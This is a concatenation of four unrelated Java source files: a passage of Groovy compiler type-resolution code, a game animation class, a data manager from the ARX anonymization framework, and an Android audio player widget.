for (; i < interfaces.length; i++) {
supers[i] = interfaces[i];
}
supers[i] = classNode.getSuperClass();
for (int j = 0; j < supers.length; j++) {
String aSuper = supers[j];
Class superClass = loadClass(aSuper);
Field fld = superClass.getDeclaredField(propName);
if (fld != null && !Modifier.isPrivate(fld.getModifiers())) {
propertyExpression.setField(fld);
return ;
}
}
}
} catch (Exception e) {
propertyExpression.setResolveFailed(true);
propertyExpression.setFailure(e.getMessage());
return ;
}
}
else if (ownerExp instanceof ClassExpression) {
if (ownerClass != null) {
Field fld = null;
try {
fld = ownerClass.getDeclaredField(propName);
if (!Modifier.isPrivate(fld.getModifiers())) {
propertyExpression.setField(fld);
return ;
}
} catch (NoSuchFieldException e) {
propertyExpression.setResolveFailed(true);
return ;
}
}
}
else { // search public field and then setter/getter
if (ownerClass != null) {
propertyExpression.setResolveFailed(true); // will get reset if property/getter/setter were found
Field fld = null;
try {
fld = ownerClass.getDeclaredField(propName);
} catch (NoSuchFieldException e) {}
if (fld != null && Modifier.isPublic(fld.getModifiers())) {
propertyExpression.setField(fld);
}
// let's get getter and setter
String getterName = "get" + Character.toUpperCase(propName.charAt(0)) + propName.substring(1);
String setterName = "set" + Character.toUpperCase(propName.charAt(0)) + propName.substring(1);
Method[] meths = ownerClass.getMethods();
for (int i = 0; i < meths.length; i++) {
Method method = meths[i];
String methName =method.getName();
Class[] paramClasses = method.getParameterTypes();
if (methName.equals(getterName) && paramClasses.length == 0) {
propertyExpression.setGetter(method);
} else if (methName.equals(setterName) && paramClasses.length == 1) {
propertyExpression.setSetter(method);
}
}
return ;
}
}
propertyExpression.setResolveFailed(true);
return ;
}
/** search in the current classNode and super class for matching method */
private MetaMethod getMethodOfThisAndSuper(String methName, Class[] argsArray, boolean isStaticCall) {
MethodNode candidate = null;
List meths = classNode.getMethods();
Class[] candidateParamClasses = null;
for (int i = 0; i < meths.size(); i++) {
MethodNode meth = (MethodNode) meths.get(i);
if (meth.getName().equals(methName)) {
Parameter[] params = meth.getParameters();
if (params.length == argsArray.length) {
Class[] paramClasses = new Class[params.length];
for (int j = 0; j < params.length; j++) {
Parameter param = params[j];
String type = param.getType();
Class paramClass = null;
try {
paramClass = loadClass(type);
} catch (Exception e) {
log.warning(e.getMessage());
return null;
}
paramClasses[j] = paramClass;
}
if (MetaClass.isValidMethod(paramClasses, argsArray, false)) {
candidateParamClasses = paramClasses;
candidate = meth;
break;
}
else {
if (MetaClass.isValidMethod(paramClasses, argsArray, true)){
candidateParamClasses = paramClasses;
candidate = meth;
break;
}
}
}
}
}
if (candidate != null && candidateParamClasses != null) {
// let's synth a MetaMethod from the MethodNode
try {
return new MetaMethod(methName, null, candidateParamClasses, loadClass(candidate.getReturnType()), candidate.getModifiers());
} catch (Exception e) {
log.warning(e.getMessage());
return null;
}
}
else {
// try super class
Class superClass = null;
try {
superClass = loadClass(classNode.getSuperClass());
}
catch(Exception e) {
// the super may be a groovy class that's not compiled yet
log.warning(e.getMessage());
}
// should I filter out GroovyObject super class here?
if (superClass != null ) {
MetaMethod mmethod = MetaClassRegistry.getIntance(MetaClassRegistry.DONT_LOAD_DEFAULT).getDefinedMethod(superClass, methName, argsArray, isStaticCall);
if (mmethod == null)
return null;
int modies = mmethod.getModifiers();
if (Modifier.isPrivate(modies)) {
return null;
}
else if(modies == 0) {
// match package
int pThis = classNode.getName().lastIndexOf(".");
String packageNameThis = pThis > 0? classNode.getName().substring(0, pThis) : "";
int pSuper = classNode.getSuperClass().lastIndexOf(".");
String packageNameSuper = pSuper > 0? classNode.getSuperClass().substring(0, pSuper) : "";
if (packageNameThis.equals(packageNameSuper)) {
return new MetaMethod(methName, null, mmethod.getParameterTypes(), mmethod.getReturnType(), mmethod.getModifiers());
}
else {
return null;
}
}
else {
return new MetaMethod(methName, null, mmethod.getParameterTypes(), mmethod.getReturnType(), mmethod.getModifiers());
}
}
return null;
}
}
/**
* to find out the real type of a Variable Object
*/
public void resolve(VariableExpression expression) {
String variableName = expression.getVariable();
// todo process arrays!
// SPECIAL CASES
// "this" for static methods is the Class instance
if (isStaticMethod() && variableName.equals("this")) {
expression.setTypeClass(Class.class);
return;
} else if (variableName.equals("super")) {
if (isStaticMethod() ) {
expression.setTypeClass(Class.class);
return;
}
else {
try {
Class cls = loadClass(classNode.getSuperClass());
expression.setTypeClass(cls);
return ;
}
catch (Exception e) {
expression.setResolveFailed(true);
expression.setFailure(e.getMessage());
return ;
}
}
} else if (variableName.equals("this")){
return ;
} else {
// String className = resolveClassName(variableName);
// if (className != null) {
// return loadClass(className);
}
// GENERAL VARIABLE LOOKUP
// We are handling only unqualified variables here. Therefore,
// we do not care about accessors, because local access doesn't
// go through them. Therefore, precedence is as follows:
// 1) local variables, nearest block first
// 2) class fields
// 3) repeat search from 2) in next outer class
boolean handled = false;
Variable variable = (Variable)variableStack.get( variableName );
try {
if( variable != null ) {
Type t = variable.getType();
if (t.getRealName().length() == 0) {
String tname = t.getName();
if (tname.endsWith("[]")) {
expression.setResolveFailed(true);
expression.setFailure("array type to be supported later");
return ; // todo hanlde array
}
else if (tname.equals(classNode.getName())){
expression.setResolveFailed(true);
return ;
}
else if (classNode.getOuterClass() != null && tname.equals(classNode.getOuterClass().getName())){
expression.setResolveFailed(true);
return ;
}
Class cls = loadClass(tname);
expression.setTypeClass(cls);
expression.setDynamic(t.isDynamic());
return ;
} else {
String tname = t.getRealName();
if (tname.endsWith("[]")) {
expression.setResolveFailed(true);
expression.setFailure("array type to be supported later");
return ; // todo hanlde array
}
Class cls = loadClass(tname);
expression.setTypeClass(cls);
expression.setDynamic(t.isDynamic());
return ;
}
// if( variable.isProperty() ) {
// processPropertyVariable(variable );
// else {
// processStackVariable(variable );
} else {
int steps = 0;
ClassNode currentClassNode = classNode;
FieldNode field = null;
do {
if( (field = currentClassNode.getField(variableName)) != null ) {
if (methodNode == null || !methodNode.isStatic() || field.isStatic() ) {
if (/*field.isDynamicType() || */field.isHolder()) {
expression.setResolveFailed(true);
expression.setFailure("reference type to be supported later");
return ;
} else {
String type = field.getType();
Class cls = loadClass(type);
expression.setTypeClass(cls);
expression.setDynamic(field.isDynamicType());
return ;
}
}
}
steps++;
} while( (currentClassNode = currentClassNode.getOuterClass()) != null );
}
// Finally, a new variable
String variableType = expression.getType();
if (variableType.length() > 0 && !variableType.equals("java.lang.Object")) {
Class cls = loadClass(variableType);
expression.setTypeClass(cls);
return ;
}
} catch (Exception e) {
log.warning(e.getMessage());
expression.setResolveFailed(true);
expression.setFailure(e.getMessage());
}
return ;
}
public MetaMethod resolve(StaticMethodCallExpression staticCall) {
if (staticCall.isResolveFailed()) {
return null;
}
else if (staticCall.isTypeResolved()) {
return staticCall.getMetaMethod();
}
String ownerTypeName = staticCall.getOwnerType();
String meth = staticCall.getMethod();
Class ownerClass = null;
try {
ownerClass = loadClass(ownerTypeName);
} catch (Exception e) {
staticCall.setResolveFailed(true);
staticCall.setFailure("Owner type could not be resolved: " + e);
return null;
}
boolean isStaticCall = true;
boolean isSuperCall = false;
List arglist = new ArrayList();
Expression args = staticCall.getArguments();
if (args instanceof TupleExpression) {
TupleExpression tupleExpression = (TupleExpression) args;
List argexps = tupleExpression.getExpressions();
for (int i = 0; i < argexps.size(); i++) {
Expression expression = (Expression) argexps.get(i);
Class cls = expression.getTypeClass();
if (cls == null) {
staticCall.setResolveFailed(true);
staticCall.setFailure("Argument type could not be resolved.");
return null;
}
else {
arglist.add(cls);
}
}
} else if (args instanceof ClosureExpression) {
staticCall.setResolveFailed(true);
staticCall.setFailure("Resolving on Closure call not implemented yet. ");
return null;// todo
} else {
staticCall.setResolveFailed(true);
staticCall.setFailure("Unknown argument expression type.");
return null;
}
Class[] argsArray = new Class[arglist.size()];
arglist.toArray(argsArray);
if (ownerClass == Object.class) {
staticCall.setResolveFailed(true);
staticCall.setFailure("Resolving on java.lang.Object static call not supported. ");
return null; // use late binding for dynamic types
}
else if (ownerClass == null) {
staticCall.setResolveFailed(true);
staticCall.setFailure("Resolving on GrovyObject static call not implemented yet. ");
return null; // use dynamic dispatching for GroovyObject
}
else if (!isSuperCall && GroovyObject.class.isAssignableFrom(ownerClass) ) { // ie, to allow early binding for a super call
staticCall.setResolveFailed(true);
staticCall.setFailure("Resolving on GrovyObject static call not implemented yet. ");
return null;
}
else if (ownerClass.isPrimitive()) {
staticCall.setResolveFailed(true);
staticCall.setFailure("Could not use primitive as method owner");
return null; // todo handle primitives
}
//MetaMethod mmethod = InvokerHelper.getInstance().getMetaRegistry().getDefinedMethod(ownerClass, meth, argsArray, isStaticCall);
// todo is this thread safe?
MetaMethod mmethod = MetaClassRegistry.getIntance(MetaClassRegistry.DONT_LOAD_DEFAULT).getDefinedMethod(ownerClass, meth, argsArray, isStaticCall);
if (mmethod!= null) {
staticCall.setMetaMethod(mmethod);
}
else {
staticCall.setResolveFailed(true);
staticCall.setFailure("Could not find MetaMethod in the MetaClass.");
}
return mmethod;
}
// the fowllowing asXXX() methods are copied from the Invoker class, to avoid initilization of an invoker instance,
// which has lots of baggage with it, notably the meta class stuff.
private static Object asType(Object object, Class type) {
if (object == null) {
return null;
}
if (type.isInstance(object)) {
return object;
}
if (type.equals(String.class)) {
return object.toString();
}
if (type.equals(Character.class)) {
if (object instanceof Number) {
return asCharacter((Number) object);
}
else {
String text = object.toString();
if (text.length() == 1) {
return new Character(text.charAt(0));
}
else {
throw new ClassCastException("Cannot cast: " + text + " to a Character");
}
}
}
if (Number.class.isAssignableFrom(type)) {
if (object instanceof Character) {
return new Integer(((Character) object).charValue());
}
else if (object instanceof String) {
String c = (String) object;
if (c.length() == 1) {
return new Integer(c.charAt(0));
}
else {
throw new ClassCastException("Cannot cast: '" + c + "' to an Integer");
}
}
}
if (object instanceof Number) {
Number n = (Number) object;
if (type.isPrimitive()) {
if (type == byte.class) {
return new Byte(n.byteValue());
}
if (type == char.class) {
return new Character((char) n.intValue());
}
if (type == short.class) {
return new Short(n.shortValue());
}
if (type == int.class) {
return new Integer(n.intValue());
}
if (type == long.class) {
return new Long(n.longValue());
}
if (type == float.class) {
return new Float(n.floatValue());
}
if (type == double.class) {
Double answer = new Double(n.doubleValue());
//throw a runtime exception if conversion would be out-of-range for the type.
if (!(n instanceof Double) && (answer.doubleValue() == Double.NEGATIVE_INFINITY
|| answer.doubleValue() == Double.POSITIVE_INFINITY)) {
throw new GroovyRuntimeException("Automatic coercion of "+n.getClass().getName()
+" value "+n+" to double failed. Value is out of range.");
}
return answer;
}
}
else {
if (Number.class.isAssignableFrom(type)) {
if (type == Byte.class) {
return new Byte(n.byteValue());
}
if (type == Character.class) {
return new Character((char) n.intValue());
}
if (type == Short.class) {
return new Short(n.shortValue());
}
if (type == Integer.class) {
return new Integer(n.intValue());
}
if (type == Long.class) {
return new Long(n.longValue());
}
if (type == Float.class) {
return new Float(n.floatValue());
}
if (type == Double.class) {
Double answer = new Double(n.doubleValue());
//throw a runtime exception if conversion would be out-of-range for the type.
if (!(n instanceof Double) && (answer.doubleValue() == Double.NEGATIVE_INFINITY
|| answer.doubleValue() == Double.POSITIVE_INFINITY)) {
throw new GroovyRuntimeException("Automatic coercion of "+n.getClass().getName()
+" value "+n+" to double failed. Value is out of range.");
}
return answer;
}
}
}
}
if (type == Boolean.class) {
return asBool(object) ? Boolean.TRUE : Boolean.FALSE;
}
return object;
}
private static boolean asBool(Object object) {
if (object instanceof Boolean) {
Boolean booleanValue = (Boolean) object;
return booleanValue.booleanValue();
}
else if (object instanceof Matcher) {
Matcher matcher = (Matcher) object;
RegexSupport.setLastMatcher(matcher);
return matcher.find();
}
else if (object instanceof Collection) {
Collection collection = (Collection) object;
return !collection.isEmpty();
}
else if (object instanceof Number) {
Number n = (Number) object;
return n.intValue() != 0;
}
else {
return object != null;
}
}
private static Character asCharacter(Number value) {
return new Character((char) value.intValue());
}
private static Character asCharacter(String text) {
return new Character(text.charAt(0));
}
}
|
package com.ezardlabs.dethsquare;
public final class Animator extends Script {
private Animation[] animations;
private int index = -1;
private int frame = 0;
private long nextFrameTime = 0;
private boolean onAnimationFinishedCalled = false;
private int direction = 1;
public Animator(Animation... animations) {
this.animations = animations;
}
public void setAnimations(Animation... animations) {
this.animations = animations;
}
public void addAnimations(Animation... animations) {
Animation[] newAnimations = new Animation[this.animations.length + animations.length];
System.arraycopy(this.animations, 0, newAnimations, 0, this.animations.length);
System.arraycopy(animations, 0, newAnimations, this.animations.length, animations.length);
this.animations = newAnimations;
}
public void update() {
int startFrame = frame;
if (index == -1) return;
if (System.currentTimeMillis() >= nextFrameTime) {
nextFrameTime += animations[index].frameDuration;
switch (animations[index].type) {
case LOOP:
frame += direction;
if (frame == animations[index].frames.length) {
frame = 0;
}
break;
case ONE_SHOT:
if (frame < animations[index].frames.length - 1) {
frame += direction;
} else {
if (!onAnimationFinishedCalled && animations[index].listener != null) {
animations[index].listener.onAnimationFinished(this);
onAnimationFinishedCalled = true;
}
return;
}
break;
case OSCILLATE:
frame += direction;
if (frame == 0 || frame == animations[index].frames.length - 1) {
direction *= -1;
}
break;
}
gameObject.renderer.sprite = animations[index].frames[frame];
}
if (frame != startFrame && animations[index].listener != null) {
animations[index].listener.onFrame(frame);
}
}
public void play(String animationName) {
if (index != -1 && animations[index].name.equals(animationName)) return;
for (int i = 0; i < animations.length; i++) {
if (i != index && animations[i].name.equals(animationName)) {
index = i;
frame = 0;
direction = 1;
nextFrameTime = System.currentTimeMillis() + animations[index].frameDuration;
onAnimationFinishedCalled = false;
gameObject.renderer.sprite = animations[index].frames[frame];
if (animations[index].listener != null)
animations[index].listener.onAnimatedStarted(this);
break;
}
}
}
public Animation getCurrentAnimation() {
if (index == -1) return null;
else return animations[index];
}
}
|
package org.deidentifier.arx.framework.data;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;
import org.deidentifier.arx.DataDefinition;
import org.deidentifier.arx.criteria.DPresence;
import org.deidentifier.arx.criteria.HierarchicalDistanceTCloseness;
import org.deidentifier.arx.criteria.PrivacyCriterion;
import org.deidentifier.arx.framework.CompressedBitSet;
/**
* Holds all data needed for the anonymization process.
*
* @author Prasser, Kohlmayer
*/
public class DataManager {
/** The data. */
protected final Data dataQI;
/** The data. */
protected final Data dataSE;
/** The data. */
protected final Data dataIS;
/** The generalization hierarchiesQI. */
protected final GeneralizationHierarchy[] hierarchiesQI;
/** The sensitive attributes */
protected final Map<String, GeneralizationHierarchy> hierarchiesSE;
/** The indexes of sensitive attributes*/
protected final Map<String, Integer> indexesSE;
/** The hierarchy heights for each QI. */
protected final int[] hierarchyHeights;
/** The maximum level for each QI. */
protected final int[] maxLevels;
/** The minimum level for each QI. */
protected final int[] minLevels;
/** The original input header */
protected final String[] header;
/** The research subset, if any*/
protected CompressedBitSet subset = null;
/** The size of the research subset*/
protected int subsetSize = 0;
/**
* Creates a new data manager from pre-encoded data
*
* @param header
* @param data
* @param dictionary
* @param definition
* @param criteria
*/
public DataManager(final String[] header, final int[][] data, final Dictionary dictionary, final DataDefinition definition, final Set<PrivacyCriterion> criteria) {
// Store research subset
for (PrivacyCriterion c : criteria) {
if (c instanceof DPresence) {
subset = ((DPresence) c).getResearchSubset();
subsetSize = ((DPresence) c).getResearchSubsetSize();
break;
}
}
// Store columns for reordering the output
this.header = header;
Set<String> id = getIdentifiers(header, definition);
Set<String> qi = definition.getQuasiIdentifyingAttributes();
Set<String> se = definition.getSensitiveAttributes();
Set<String> is = definition.getInsensitiveAttributes();
// Init dictionary
final Dictionary dictionaryQI = new Dictionary(qi.size());
final Dictionary dictionarySE = new Dictionary(se.size());
final Dictionary dictionaryIS = new Dictionary(is.size());
// Init maps for reordering the output
final int[] mapQI = new int[dictionaryQI.getNumDimensions()];
final int[] mapSE = new int[dictionarySE.getNumDimensions()];
final int[] mapIS = new int[dictionaryIS.getNumDimensions()];
// Indexes
int indexQI = 0;
int indexSE = 0;
int indexIS = 0;
int counter = 0;
// Build map
final int[] map = new int[header.length];
final String[] headerQI = new String[dictionaryQI.getNumDimensions()];
final String[] headerSE = new String[dictionarySE.getNumDimensions()];
final String[] headerIS = new String[dictionaryIS.getNumDimensions()];
for (final String column : header) {
if (qi.contains(column)) {
map[counter] = indexQI + 1;
mapQI[indexQI] = counter;
dictionaryQI.registerAll(indexQI, dictionary, counter);
headerQI[indexQI] = header[counter];
indexQI++;
} else if (is.contains(column)) {
map[counter] = indexIS + 1000;
mapIS[indexIS] = counter;
dictionaryIS.registerAll(indexIS, dictionary, counter);
headerIS[indexIS] = header[counter];
indexIS++;
} else if (!id.contains(column)) {
map[counter] = -indexSE - 1;
mapSE[indexSE] = counter;
dictionarySE.registerAll(indexSE, dictionary, counter);
headerSE[indexSE] = header[counter];
indexSE++;
}
counter++;
}
// encode Data
final Data[] ddata = encode(data, map, mapQI, mapSE, mapIS, dictionaryQI, dictionarySE, dictionaryIS, headerQI, headerSE, headerIS);
dataQI = ddata[0];
dataSE = ddata[1];
dataIS = ddata[2];
// Initialize minlevels
minLevels = new int[qi.size()];
hierarchyHeights = new int[qi.size()];
maxLevels = new int[qi.size()];
// Build qi generalisation hierarchiesQI
hierarchiesQI = new GeneralizationHierarchy[qi.size()];
for (int i = 0; i < header.length; i++) {
if (qi.contains(header[i])) {
final int dictionaryIndex = map[i] - 1;
if ((dictionaryIndex >= 0) && (dictionaryIndex < 999)) {
final String name = header[i];
hierarchiesQI[dictionaryIndex] = new GeneralizationHierarchy(name, definition.getHierarchy(name), dictionaryIndex, dictionaryQI);
// initialize min/max level and hierarhy height array
hierarchyHeights[dictionaryIndex] = hierarchiesQI[dictionaryIndex].getArray()[0].length;
final Integer minGenLevel = definition.getMinimumGeneralization(name);
minLevels[dictionaryIndex] = minGenLevel == null ? 0 : minGenLevel;
final Integer maxGenLevel = definition.getMaximumGeneralization(name);
maxLevels[dictionaryIndex] = maxGenLevel == null ? hierarchyHeights[dictionaryIndex] - 1 : maxGenLevel;
}
}
}
// Build map with hierarchies for sensitive attributes
Map<String, String[][]> sensitiveHierarchies = new HashMap<String, String[][]>();
for (PrivacyCriterion c : criteria) {
if (c instanceof HierarchicalDistanceTCloseness) {
HierarchicalDistanceTCloseness t = (HierarchicalDistanceTCloseness) c;
sensitiveHierarchies.put(t.getAttribute(), t.getHierarchy().getHierarchy());
}
}
// Build sa generalisation hierarchies
hierarchiesSE = new HashMap<String, GeneralizationHierarchy>();
indexesSE = new HashMap<String, Integer>();
int index = 0;
for (int i = 0; i < header.length; i++) {
final String name = header[i];
if (sensitiveHierarchies.containsKey(name)) {
final int dictionaryIndex = -map[i] - 1;
if ((dictionaryIndex >= 0) && (dictionaryIndex < 999)) {
final String[][] hiers = sensitiveHierarchies.get(name);
if (hiers != null) {
hierarchiesSE.put(name, new GeneralizationHierarchy(name, hiers, dictionaryIndex, dictionarySE));
}
} else {
throw new RuntimeException("Internal error: Invalid dictionary index!");
}
}
// Store index for sensitive attributes
if (se.contains(header[i])) {
indexesSE.put(name, index);
index++;
}
}
// finalize dictionary
dictionaryQI.finalizeAll();
dictionarySE.finalizeAll();
dictionaryIS.finalizeAll();
}
protected DataManager(final Data dataQI,
final Data dataSE,
final Data dataIS,
final GeneralizationHierarchy[] hierarchiesQI,
final Map<String, GeneralizationHierarchy> hierarchiesSE,
final Map<String, Integer> indexesSE,
final int[] hierarchyHeights,
final int[] maxLevels,
final int[] minLevels,
final String[] header) {
this.dataQI = dataQI;
this.dataSE = dataSE;
this.dataIS = dataIS;
this.hierarchiesQI = hierarchiesQI;
this.hierarchiesSE = hierarchiesSE;
this.hierarchyHeights = hierarchyHeights;
this.maxLevels = maxLevels;
this.minLevels = minLevels;
this.indexesSE = indexesSE;
this.header = header;
}
/**
* Encodes the data
*
* @param data
* @param map
* @param mapQI
* @param mapSE
* @param mapIS
* @param dictionaryQI
* @param dictionarySE
* @param dictionaryIS
* @param headerQI
* @param headerSE
* @param headerIS
* @return
*/
private Data[] encode(final int[][] data,
final int[] map,
final int[] mapQI,
final int[] mapSE,
final int[] mapIS,
final Dictionary dictionaryQI,
final Dictionary dictionarySE,
final Dictionary dictionaryIS,
final String[] headerQI,
final String[] headerSE,
final String[] headerIS) {
// Parse the dataset
final int[][] valsQI = new int[data.length][];
final int[][] valsSE = new int[data.length][];
final int[][] valsIS = new int[data.length][];
int index = 0;
for (final int[] tuple : data) {
// Process a tuple
final int[] tupleQI = new int[headerQI.length];
final int[] tupleSE = new int[headerSE.length];
final int[] tupleIS = new int[headerIS.length];
for (int i = 0; i < tuple.length; i++) {
if (map[i] >= 1000) {
tupleIS[map[i] - 1000] = tuple[i];
} else if (map[i] > 0) {
tupleQI[map[i] - 1] = tuple[i];
} else if (map[i] < 0) {
tupleSE[-map[i] - 1] = tuple[i];
}
}
valsQI[index] = tupleQI;
valsIS[index] = tupleIS;
valsSE[index] = tupleSE;
index++;
}
// Build data object
final Data[] result = { new Data(valsQI, headerQI, mapQI, dictionaryQI), new Data(valsSE, headerSE, mapSE, dictionarySE), new Data(valsIS, headerIS, mapIS, dictionaryIS) };
return result;
}
/**
* Returns the data
*
* @return the data
*/
public Data getDataIS() {
return dataIS;
}
/**
* Returns the data
*
* @return the data
*/
public Data getDataQI() {
return dataQI;
}
/**
* Returns the data
*
* @return the data
*/
public Data getDataSE() {
return dataSE;
}
/**
* Returns the distribution of the given sensitive attribute in
* the original dataset. Required for t-closeness.
*
* @param attribute
* @return distribution
*/
public double[] getDistribution(String attribute) {
// TODO: Distribution size equals the size of the complete dataset
// TODO: Good idea?
final int index = indexesSE.get(attribute);
final int distinct = dataSE.getDictionary().getMapping()[index].length;
final int[][] data = dataSE.getArray();
// Initialize counts: iterate over all rows or the subset
final int[] cardinalities = new int[distinct];
for (int i = 0; i < data.length; i++) {
if (subset == null || subset.get(i)) {
cardinalities[data[i][index]]++;
}
}
// compute distribution
final double total = subset == null ? data.length : subsetSize;
final double[] distribution = new double[cardinalities.length];
for (int i = 0; i < distribution.length; i++) {
distribution[i] = (double) cardinalities[i] / total;
}
return distribution;
}
/**
* The original data header
*
* @return
*/
public String[] getHeader() {
return header;
}
/**
* Returns the heights of the hierarchiesQI.
*
* @return
*/
public int[] getHierachyHeights() {
return hierarchyHeights;
}
/**
* Returns the generalization hierarchiesQI.
*
* @return the hierarchiesQI
*/
public GeneralizationHierarchy[] getHierarchies() {
return hierarchiesQI;
}
/**
* Returns the maximum levels for the generalizaiton.
*
* @return the maximum level for each QI
*/
public int[] getMaxLevels() {
return maxLevels;
}
/**
* Returns the minimum levels for the generalizations.
*
* @return
*/
public int[] getMinLevels() {
return minLevels;
}
/**
* Returns the tree for the given sensitive attribute, if a generalization hierarchy
* is associated. Required for t-closeness with hierarchical distance EMD
*
* @param attribute
* @return tree
*/
public int[] getTree(String attribute) {
// TODO: Integrate research subset here
final int[][] data = dataSE.getArray();
final int index = indexesSE.get(attribute);
final int[][] hierarchy = hierarchiesSE.get(attribute).map;
final int totalElementsP = data.length;
final int height = hierarchy[0].length - 1;
final int numLeafs = hierarchy.length;
// size could be calculated?!
final ArrayList<Integer> treeList = new ArrayList<Integer>();
treeList.add(totalElementsP);
treeList.add(numLeafs);
treeList.add(height);
// init all freq to 0
for (int i = 0; i < numLeafs; i++) {
treeList.add(0);
}
// count frequnecies
final int offsetLeafs = 3;
for (int i = 0; i < data.length; i++) {
if (subset == null || subset.get(i)) {
int previousFreq = treeList.get(data[i][index] + offsetLeafs);
previousFreq++;
treeList.set(data[i][index] + offsetLeafs, previousFreq);
}
}
// init extras
for (int i = 0; i < numLeafs; i++) {
treeList.add(-1);
}
class TNode {
HashSet<Integer> children = new HashSet<Integer>();
int offset = 0;
int level = 0;
}
final int offsetsExtras = offsetLeafs + numLeafs;
final HashMap<Integer, TNode> nodes = new HashMap<Integer, TNode>();
final ArrayList<ArrayList<TNode>> levels = new ArrayList<ArrayList<TNode>>();
// init levels
for (int i = 0; i < hierarchy[0].length; i++) {
levels.add(new ArrayList<TNode>());
}
// build nodes
for (int i = 0; i < hierarchy[0].length; i++) {
for (int j = 0; j < hierarchy.length; j++) {
final int nodeID = hierarchy[j][i];
TNode curNode = null;
if (!nodes.containsKey(nodeID)) {
curNode = new TNode();
curNode.level = i;
nodes.put(nodeID, curNode);
final ArrayList<TNode> level = levels.get(curNode.level);
level.add(curNode);
} else {
curNode = nodes.get(nodeID);
}
if (i > 0) { // first add child
curNode.children.add(hierarchy[j][i - 1]);
}
}
}
// for all nodes
for (final ArrayList<TNode> level : levels) {
for (final TNode node : level) {
if (node.level > 0) { // only inner nodes
node.offset = treeList.size();
treeList.add(node.children.size());
treeList.add(node.level);
for (final int child : node.children) {
if (node.level == 1) { // level 1
treeList.add(child + offsetsExtras);
} else {
treeList.add(nodes.get(child).offset);
}
}
treeList.add(0); // pos_e
treeList.add(0); // neg_e
}
}
}
final int[] treeArray = new int[treeList.size()];
int count = 0;
for (final int val : treeList) {
treeArray[count++] = val;
}
return treeArray;
}
/**
* Performs a sanity check and returns all identifying attributes
*
* @param columns
* @param definition
*/
private Set<String> getIdentifiers(final String[] columns, final DataDefinition definition) {
Set<String> result = new HashSet<String>();
result.addAll(definition.getIdentifyingAttributes());
final int mappedColumnsCount = definition.getQuasiIdentifyingAttributes().size() + definition.getSensitiveAttributes().size() + definition.getInsensitiveAttributes().size() +
definition.getIdentifyingAttributes().size();
// We always treat undefined attributes as identifiers
if (mappedColumnsCount < columns.length) {
for (int i = 0; i < columns.length; i++) {
final String attribute = columns[i];
// Check
if (!(definition.getQuasiIdentifyingAttributes().contains(attribute) || definition.getSensitiveAttributes().contains(attribute) || definition.getInsensitiveAttributes()
.contains(attribute))) {
// Add to identifiers
result.add(attribute);
}
}
}
return result;
}
}
|
package in.uncod.android.media.widget;
import java.io.IOException;
import android.content.Context;
import android.media.MediaPlayer;
import android.os.Handler;
import android.util.AttributeSet;
import android.view.Gravity;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ImageButton;
import android.widget.LinearLayout;
import android.widget.SeekBar;
public class AudioPlayerView extends LinearLayout implements MediaPlayer.OnPreparedListener,
View.OnClickListener, MediaPlayer.OnCompletionListener, MediaPlayer.OnErrorListener, SeekBar.OnSeekBarChangeListener {
private MediaPlayer mMediaPlayer;
private ImageButton mPlayPauseButton;
private SeekBar mSeekBar;
private String mMediaLocation;
private PlayerState mPlayerState;
Thread playbackProgressUpdater;
Handler mHandler = new Handler();
enum PlayerState {
Playing, Paused, Preparing
}
public AudioPlayerView(Context context) {
super(context);
initPlayer();
}
public AudioPlayerView(Context context, AttributeSet attrs) {
super(context, attrs);
initPlayer();
}
public AudioPlayerView(Context context, AttributeSet attrs, int defStyle) {
super(context, attrs, defStyle);
initPlayer();
}
private void initPlayer() {
mPlayPauseButton = new ImageButton(getContext());
mPlayPauseButton.setOnClickListener(this);
addView(mPlayPauseButton);
updateButtonState(PlayerState.Preparing);
mSeekBar = new SeekBar(getContext());
mSeekBar.setLayoutParams(new ViewGroup.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT,
ViewGroup.LayoutParams.WRAP_CONTENT));
addView(mSeekBar);
mSeekBar.setOnSeekBarChangeListener(this);
setGravity(Gravity.CENTER_VERTICAL);
}
@Override
public void onPrepared(MediaPlayer mediaPlayer) {
updateButtonState(PlayerState.Paused);
playbackProgressUpdater = new Thread(new ProgressUpdate());
playbackProgressUpdater.start();
}
@Override
public void onCompletion(MediaPlayer mediaPlayer) {
updateButtonState(PlayerState.Paused);
}
@Override
public boolean onError(MediaPlayer mediaPlayer, int i, int i1) {
return false;
}
@Override
public void onClick(View view) {
switch (mPlayerState) {
case Paused:
mMediaPlayer.start();
updateButtonState(PlayerState.Playing);
break;
case Playing:
mMediaPlayer.pause();
updateButtonState(PlayerState.Paused);
break;
}
}
public void setMediaLocation(String location) {
mMediaPlayer = new MediaPlayer();
mMediaPlayer.setOnPreparedListener(this);
mMediaPlayer.setOnCompletionListener(this);
mMediaPlayer.setOnErrorListener(this);
mMediaLocation = location;
prepareMediaPlayer();
}
private void prepareMediaPlayer() {
updateButtonState(PlayerState.Preparing);
if (mMediaLocation != null) {
try {
mMediaPlayer.setDataSource(mMediaLocation);
mMediaPlayer.prepareAsync();
}
catch (IOException e) {
e.printStackTrace();
}
}
}
private void updateButtonState(PlayerState playerState) {
mPlayerState = playerState;
switch (playerState) {
case Paused:
mPlayPauseButton.setImageResource(android.R.drawable.ic_media_play);
mPlayPauseButton.setEnabled(true);
break;
case Playing:
mPlayPauseButton.setImageResource(android.R.drawable.ic_media_pause);
mPlayPauseButton.setEnabled(true);
break;
case Preparing:
mPlayPauseButton.setImageResource(android.R.drawable.ic_media_play);
mPlayPauseButton.setEnabled(false);
break;
}
}
private class ProgressUpdate implements Runnable {
public void run() {
while (mMediaPlayer != null) {
double percent = (double) mMediaPlayer.getCurrentPosition() / mMediaPlayer.getDuration();
final int progress = (int) (percent * 100.0);
mHandler.post(new Runnable() {
public void run() {
mSeekBar.setProgress(progress);
mSeekBar.setMax(100);
}
});
try {
Thread.sleep(500);
}
catch (InterruptedException e) {
e.printStackTrace();
}
}
}
}
@Override
public void setEnabled(boolean enabled) {
super.setEnabled(enabled);
mPlayPauseButton.setEnabled(enabled);
mSeekBar.setProgress(0);
try {
if (mMediaPlayer != null) {
mMediaPlayer.seekTo(0);
}
}
finally {
// Ignore exception; should only happen when no media has been loaded into the player
}
}
@Override
public void onProgressChanged(SeekBar seekBar, int i, boolean fromUser) {
if (fromUser) {
int position = (int)(mMediaPlayer.getDuration() * (i / 100.0));
mMediaPlayer.seekTo(position);
}
}
@Override
public void onStartTrackingTouch(SeekBar seekBar) {
}
@Override
public void onStopTrackingTouch(SeekBar seekBar) {
}
}
|
